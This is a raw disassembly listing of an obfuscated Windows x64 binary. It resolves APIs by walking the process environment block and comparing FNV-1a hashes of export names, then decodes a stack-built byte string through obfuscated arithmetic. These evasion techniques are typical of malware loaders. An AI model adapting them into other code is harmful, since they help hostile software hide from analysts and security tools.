movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14015f398
cmp edx, esi
jne 0x14015f481
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14015f481
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14015f481
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14015f408
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x14015f3fd
cmp edx, r14d
je 0x14015f41e
test r11d, r11d
jne 0x14015f3e8
jmp 0x14015f481
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x14015f496
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x14015f496
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14015f460
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14015f452
jmp 0x14015f475
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x14015f468
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14015f493
cmp qword [rbx + 0x30], r13
jne 0x14015f368
mov rdx, r13
mov qword [0x1404fc148], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404fc140]
test rdx, rdx
jne 0x14015f606
mov esi, r13d
mov r14d, 0xe80fd3a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14015f51d
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14015f510
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14015f501
cmp edx, esi
jne 0x14015f5ea
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14015f5ea
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14015f5ea
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14015f571
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x14015f566
cmp edx, r14d
je 0x14015f587
test r11d, r11d
jne 0x14015f551
jmp 0x14015f5ea
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x14015f5ff
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x14015f5ff
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14015f5c9
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14015f5bb
jmp 0x14015f5de
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x14015f5d1
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14015f5fc
cmp qword [rbx + 0x30], r13
jne 0x14015f4d1
mov rdx, r13
mov qword [0x1404fc140], rdx
xor ecx, ecx
call rdx
cmp qword [0x1404fc138], r13
jne 0x14015f76e
mov esi, r13d
mov r14d, 0xa52bcaf9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14015f683
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14015f676
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14015f667
cmp edx, esi
jne 0x14015f752
mov r10, qword [rbx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x14015f752
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x14015f752
mov edi, dword [r11 + 0x20]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rdi]
add r8, r10
mov edx, 0x811c9dc5
jmp 0x14015f6d7
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x14015f6cc
cmp edx, r14d
je 0x14015f6ed
test r9d, r9d
jne 0x14015f6b7
jmp 0x14015f752
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + r9*2]
mov r9d, dword [r8 + rdx*4]
add r9, r10
cmp r9, r11
jbe 0x14015f767
lea rcx, [r11 + rax]
cmp r9, rcx
jae 0x14015f767
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14015f72f
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r9, r12
mov al, byte [r9]
cmp al, 0x2e
jne 0x14015f721
jmp 0x14015f745
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r9, r12
mov al, byte [r9]
test al, al
jne 0x14015f738
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14015f764
cmp qword [rbx + 0x30], r13
jne 0x14015f637
mov r9, r13
mov qword [0x1404fc138], r9
mov r8, qword [0x1404fc168]
test r8, r8
jne 0x14015f7df
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r8, qword [rax]
mov r10, r8
mov rcx, qword [r8 + 0x60]
movzx eax, word [r8 + 0x58]
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, 0x811c9dc5
cmp rcx, r9
je 0x14015f7c7
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x14015f7ab
cmp edx, 0x610c0de3
je 0x14015f830
mov r8, qword [r8]
cmp r8, r10
je 0x14015f7d5
cmp qword [r8 + 0x30], r13
jne 0x14015f791
mov r8, r13
mov qword [0x1404fc168], r8
movsxd rax, dword [r8 + 0x3c]
mov r10d, dword [rax + r8 + 0x88]
mov r9d, r13d
mov r11d, dword [r10 + r8 + 0x20]
mov eax, r9d
lea rcx, [r11 + rax*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov ecx, 0x811c9dc5
mov al, byte [rdx]
add rdx, r12
test al, al
je 0x14015f82b
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [rdx]
add rdx, r12
test al, al
jne 0x14015f80f
cmp ecx, 0xe463da3c
je 0x14015f836
add r9d, r12d
jmp 0x14015f7f3
mov r8, qword [r8 + 0x30]
jmp 0x14015f7d8
mov edx, dword [r10 + r8 + 0x1c]
add rdx, r8
mov ecx, dword [r10 + r8 + 0x24]
add rcx, r8
mov eax, r9d
movzx ecx, word [rcx + rax*2]
mov eax, dword [rdx + rcx*4]
add rax, r8
xor ecx, ecx
call rax
mov r12, rax
mov r10, qword [0x1404fba00]
test r10, r10
jne 0x14015f9c2
mov esi, r13d
mov r14d, 0x820621f3
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rbx, qword [rcx]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14015f8d6
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14015f8c9
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14015f8ba
cmp edx, esi
jne 0x14015f9a6
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x14015f9a6
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x14015f9a6
mov edi, dword [r11 + 0x20]
dec r10d
lea rdx, [r9 + r10*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14015f92a
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14015f91f
cmp edx, r14d
je 0x14015f940
test r10d, r10d
jne 0x14015f90a
jmp 0x14015f9a6
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + r10*2]
mov r10d, dword [r8 + rdx*4]
add r10, r9
cmp r10, r11
jbe 0x14015f9bb
lea rcx, [r11 + rax]
cmp r10, rcx
jae 0x14015f9bb
mov esi, 0x811c9dc5
mov r14d, esi
mov ecx, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x14015f999
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rcx
jmp 0x14015f975
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rcx
mov al, byte [r10]
test al, al
jne 0x14015f98c
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14015f9b8
cmp qword [rbx + 0x30], r13
jne 0x14015f88a
mov r10, r13
mov qword [0x1404fba00], r10
lea r9, [rbp + 0x11c4]
mov edx, 0x5000
mov r8d, 1
mov rcx, r12
call r10
mov r8, qword [0x1404fc160]
test r8, r8
jne 0x14015fb42
mov esi, r13d
mov r14d, 0x33b00bc5
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14015fa56
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14015fa49
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14015fa3a
cmp edx, esi
jne 0x14015fb26
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14015fb26
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14015fb26
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14015faaa
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14015fa9f
cmp edx, r14d
je 0x14015fac0
test r11d, r11d
jne 0x14015fa8a
jmp 0x14015fb26
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov r8d, dword [r8 + rdx*4]
add r8, r9
cmp r8, r10
jbe 0x14015fb3b
lea rcx, [r10 + rax]
cmp r8, rcx
jae 0x14015fb3b
mov esi, 0x811c9dc5
mov r14d, esi
mov ecx, 1
mov al, byte [r8]
cmp al, 0x2e
je 0x14015fb19
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r8, rcx
jmp 0x14015faf5
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r8, rcx
mov al, byte [r8]
test al, al
jne 0x14015fb0c
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14015fb38
cmp qword [rbx + 0x30], r13
jne 0x14015fa0a
mov r8, r13
mov qword [0x1404fc160], r8
mov edx, 0x5000
mov rcx, r12
call r8
mov qword [0], 0x99
mov rbx, qword [0x1404fc120]
test rbx, rbx
jne 0x14015fcc4
mov esi, r13d
mov r14d, 0xeac42c07
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14015fbd5
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14015fbc8
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14015fbb9
cmp edx, esi
jne 0x14015fca8
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14015fca8
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14015fca8
mov edi, dword [r10 + 0x20]
mov r12d, 1
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14015fc2f
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x14015fc24
cmp edx, r14d
je 0x14015fc45
test r11d, r11d
jne 0x14015fc0f
jmp 0x14015fca8
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov ebx, dword [r8 + rdx*4]
add rbx, r9
cmp rbx, r10
jbe 0x14015fcbd
lea rcx, [r10 + rax]
cmp rbx, rcx
jae 0x14015fcbd
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14015fc87
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rbx, r12
mov al, byte [rbx]
cmp al, 0x2e
jne 0x14015fc79
jmp 0x14015fc9c
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rbx, r12
mov al, byte [rbx]
test al, al
jne 0x14015fc8f
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14015fcba
cmp qword [rbx + 0x30], r13
jne 0x14015fb89
mov rbx, r13
mov qword [0x1404fc120], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
call rbx
call fcn.140103894
test al, al
jne 0x140164ed5
mov byte [rbp + 0xf70], 0x9b
mov byte [rbp + 0xf71], 0x59
mov r14d, 0x80
mov byte [rbp + 0xf72], r14b
mov byte [rbp + 0xf73], 0x5b
mov byte [rbp + 0xf74], 0xa0
mov byte [rbp + 0xf75], 0x45
mov byte [rbp + 0xf76], 0xbb
mov byte [rbp + 0xf77], 0x47
mov byte [rbp + 0xf78], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0xf79], 0x41
mov byte [rbp + 0xf7a], 0xaf
mov byte [rbp + 0xf7b], 0x43
mov byte [rbp + 0xf7c], 0xde
mov byte [rbp + 0xf7d], Ordinal_79
mov byte [rbp + 0xf7e], 0xdd
mov byte [rbp + 0xf7f], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0xf80], 0xac
mov byte [rbp + 0xf81], Ordinal_79
mov byte [rbp + 0xf82], 0x86
mov byte [rbp + 0xf83], Ordinal_79
mov byte [rbp + 0xf84], 0x99
mov byte [rbp + 0xf85], 0x75
mov byte [rbp + 0xf86], 0x98
mov byte [rbp + 0xf87], 0x77
mov byte [rbp + 0xf88], __WSAFDIsSet
mov byte [rbp + 0xf89], WSACleanup
mov byte [rbp + 0xf8a], 0xef
mov byte [rbp + 0xf8b], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0xf8c], 0xe8
mov byte [rbp + 0xf8d], 0x7d
mov byte [rbp + 0xf8e], 0xe2
mov byte [rbp + 0xf8f], 0x7f
mov byte [rbp + 0xf90], 0x9c
mov byte [rbp + 0xf91], 0x79
mov byte [rbp + 0xf92], 0xbb
mov byte [rbp + 0xf93], 0x7b
mov byte [rbp + 0xf94], 0xf4
mov byte [rbp + 0xf95], 0x65
mov byte [rbp + 0xf96], 0xf6
mov byte [rbp + 0xf97], 0x67
mov byte [rbp + 0xf98], 0xac
mov byte [rbp + 0xf99], 0x61
mov byte [rbp + 0xf9a], 0x83
mov byte [rbp + 0xf9b], 0x63
mov byte [rbp + 0xf9c], 0xf0
mov byte [rbp + 0xf9d], WSASetLastError
mov byte [rbp + 0xf9e], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xf9f], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0xfa0], Ordinal_143
mov byte [rbp + 0xfa1], WSAGetLastError
mov byte [rbp + 0xfa2], 0xa7
mov byte [rbp + 0xfa3], WSASetLastError
mov byte [rbp + 0xfa4], 0x88
mov byte [rbp + 0xfa5], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0xfa6], 0xfe
mov byte [rbp + 0xfa7], reloc.WS2_32.dll_socket
mov byte [rbp + 0xfa8], 0xfd
mov byte [rbp + 0xfa9], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xfaa], r14b
mov byte [rbp + 0xfab], reloc.WS2_32.dll_send
mov byte [rbp + 0xfac], 0xfd
mov byte [rbp + 0xfad], Ordinal_32
mov byte [rbp + 0xfae], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0xfaf], Ordinal_32
mov byte [rbp + 0xfb0], 0xfa
mov byte [rbp + 0xfb1], Ordinal_27
mov byte [rbp + 0xfb2], 0xf3
mov byte [rbp + 0xfb3], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0xfb4], __WSAFDIsSet
mov byte [rbp + 0xfb5], 5
mov byte [rbp + 0xfb6], 6
mov byte [rbp + 0xfb7], 7
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xfb8], xmm0
mov qword [rbp + 0xfc8], rax
mov dil, byte [rsp + 0x50]
call fcn.1401ac500
mov rbx, qword [rax]
call fcn.1401ac508
mov r9, qword [rax]
mov r15d, Ordinal_41
mov r10, r13
mov r12d, 1
cmp r10, 0x60
jae 0x140160915
movzx r8d, byte [rbp + r10 + 0xf70]
mov edx, r8d
cmp rbx, r10
ja 0x14016090c
lea rax, [r9 + 1]
cmp rbx, rax
jae 0x14015ff5b
movabs r11, 0xe2ff43c1b0c1bb8c
lea rcx, [r10 + r11]
mov eax, edx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
add dil, 0x2c
jmp 0x14015ff92
je 0x14016088a
lea rax, [r9 + 2]
cmp rbx, rax
je 0x14016083b
lea rax, [r9 + 5]
cmp rbx, rax
je 0x1401607db
lea rax, [r9 + 3]
cmp rbx, rax
je 0x1401607b5
movabs r11, 0xe2ff43c1b0c1bb8c
cmp r9, r10
ja 0x140160903
lea rax, [r9 + 0x400]
cmp rbx, rax
jae 0x14015ffc8
movabs rdi, 0x9ef08ee37fe4627c
add rdi, r10
mov al, dil
and al, r8b
add al, al
sub dil, al
sub dil, 0x64
add dil, r8b
jmp 0x14015fffc
lea rax, [r9 + 1]
cmp rbx, rax
je 0x14016076e
lea rax, [r9 + 2]
cmp rbx, rax
je 0x14016074a
lea rax, [r9 + 4]
cmp rbx, rax
je 0x140160727
lea rax, [r9 + 5]
cmp rbx, rax
je 0x140160704
mov esi, Ordinal_32
lea rax, [r9 + rbx]
cmp rax, r10
jbe 0x140160331
lea rax, [r9 + 0x41]
cmp rbx, rax
je 0x14016030e
lea rax, [r9 + 0x64]
cmp rbx, rax
je 0x1401602fa
lea rax, [r9 + 8]
cmp rbx, rax
je 0x1401602d7
lea rax, [r9 + 0x5a]
cmp rbx, rax
je 0x1401602b4
lea rax, [r9 + 0x80]
cmp rbx, rax
je 0x140160291
lea rax, [r9 + 9]
cmp rbx, rax
je 0x14016026a
lea rbx, [r9 + 4]
lea r9, [rbx + 0x2a]
lea rax, [r9 + 0x61]
cmp rbx, rax
jb 0x1401608e0
lea rax, [r9 + 0x40]
cmp rbx, rax
jb 0x1401608be
lea rax, [r9 + 5]
cmp rbx, rax
jb 0x140160126
lea rax, [r9 + 0x7a]
cmp rbx, rax
jb 0x140160253
lea rax, [r9 + 0x42]
cmp rbx, rax
jb 0x140160224
lea rax, [r9 + 6]
cmp rbx, rax
jb 0x14016000e
lea rbx, [r9 + 2]
lea r9, [rbx + 0x41]
lea rax, [r9 + 0x10]
cmp rbx, rax
ja 0x140160210
lea rax, [r9 + 2]
cmp rbx, rax
ja 0x1401601ff
lea rax, [r9 + 0x400]
cmp rbx, rax
ja 0x1401601dc
lea rax, [r9 + 0x20]
cmp rbx, rax
ja 0x1401601b5
lea rax, [r9 + 3]
cmp rbx, rax
ja 0x14016018e
lea rax, [r9 + 0x1000]
cmp rbx, rax
ja 0x14016016b
lea rax, [r9 + 0x28]
cmp rbx, rax
ja 0x140160148
lea rbx, [r9 + 0x80]
lea r9, [rbx + 0x28]
jmp 0x14016000e
movabs rcx, 0x4099ca2af930d504
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, sil
jmp 0x140160001
movabs rcx, 0xf784771bff2313e0
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x20
jmp 0x14016078c
movabs rcx, 0x3185ef989d9f9cc8
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x78
jmp 0x1401607b0
movabs rdx, 0x6b8768153c1c25b0
add rdx, r10
mov al, dl
and al, r8b
mov ecx, Ordinal_27
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401607d3
movabs rdx, 0x198bd18b1791c068
add rdx, r10
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14016082b
movabs rcx, 0x538d4a07b60e4950
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x30
jmp 0x1401606cb
movabs rdx, 0x8d8ec284548ad238
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x140160279
movabs rdx, 0xc7903b00f3075b20
mov ecx, reloc.WS2_32.dll_recv
jmp 0x140160413
movabs rdx, 0x5893e8387f3eb164
add rdx, r10
mov al, dl
and al, r8b
mov ecx, Ordinal_35
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
mov byte [rbp + r10 + 0xf70], dil
jmp 0x1401608b6
movabs rdx, 0x69851ae5ab44c1c
add rdx, r10
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x140160347
movabs rdx, 0xf3a4d1d19dd6d7d0
mov ecx, Ordinal_41
add rdx, r10
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140160857
movabs rcx, 0x2da64a4e3c5360b8
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 8
jmp 0x1401606cb
movabs rcx, 0x67a7c2cadacfe9a0
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x60
jmp 0x14016082b
movabs rcx, 0x15ac2c40b6458458
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x68
jmp 0x1401607d3
movabs rdx, 0x4fada4bd54c20d40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x140160759
movabs rcx, 0x89af1d39f33e9628
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x18
jmp 0x14016078c
lea rax, [r9 + 0x61]
cmp rbx, rax
jae 0x1401603fe
lea rdx, [r10 + r11]
mov ecx, reloc.WLDAP32.dll_Ordinal_22
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
lea rax, [r9 + rbx]
cmp rax, 2
je 0x1401606a4
lea rax, [r9 + 0x41]
cmp rbx, rax
jbe 0x1401604e2
movabs rdx, 0x16d325271e29b05c
add rdx, r10
mov al, dl
and al, r8b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp rbx, r14
jae 0x140160676
lea rax, [r9 + 0x28]
cmp rbx, rax
jbe 0x140160587
movabs rdx, 0xb5c3b40a9e0e12d8
add rdx, r10
mov al, dl
and al, r8b
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp r9, 0x42
jb 0x140160246
movabs rcx, 0x71b4ff2c6d30b9c8
add rcx, r10
mov al, cl
and al, r8b
mov edx, 4
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea edi, [rdx + rdx]
jmp 0x14016078c
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x14016042b
movabs rdx, 0x3de11dc6ffc8c4f8
mov ecx, esi
add rdx, r10
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401608a7
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x140160457
movabs rcx, 0xc9de2ccdc2cfb328
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x18
jmp 0x1401606cb
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x140160483
movabs rcx, 0x55db3bd485d6a158
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x68
jmp 0x140160828
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x1401604af
movabs rcx, 0x1bd9c357e75a1870
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x10
jmp 0x1401607fd
lea rax, [r9 + 8]
cmp rbx, rax
jne 0x140160357
movabs rdx, 0x6dd559e20be47db8
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 8
add dil, dl
jmp 0x14016078c
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x14016050e
movabs rcx, 0xdcd1acaa7fad2774
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x2c
jmp 0x14016078c
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x14016052b
movabs rdx, 0xa2d0342de1309e8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x140160759
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x140160558
movabs rcx, 0xbaca523b673e7aec
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x74
jmp 0x14016082b
lea rax, [r9 + 7]
cmp rbx, rax
jne 0x140160394
movabs rcx, 0x80c8d9bec8c1f204
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, sil
jmp 0x1401606cb
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x1401605a4
movabs rdx, 0x7bc23b8dff9189f0
mov ecx, Ordinal_60
jmp 0x140160413
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x1401605d0
movabs rcx, 0x41c0c31161150108
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x38
jmp 0x140160857
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x1401605fd
movabs rcx, 0x93bc599b859f6650
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x30
jmp 0x140160828
lea rax, [r9 + 6]
cmp rbx, rax
jne 0x14016061a
movabs rdx, 0x59bae11ee722dd68
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x1401607ea
lea rax, [r9 + 4]
cmp rbx, rax
jne 0x140160645
movabs rcx, 0x1fb968a248a65480
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, r14b
jmp 0x1401607d3
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x1401603cc
movabs rcx, 0xe5b7f025aa29cb98
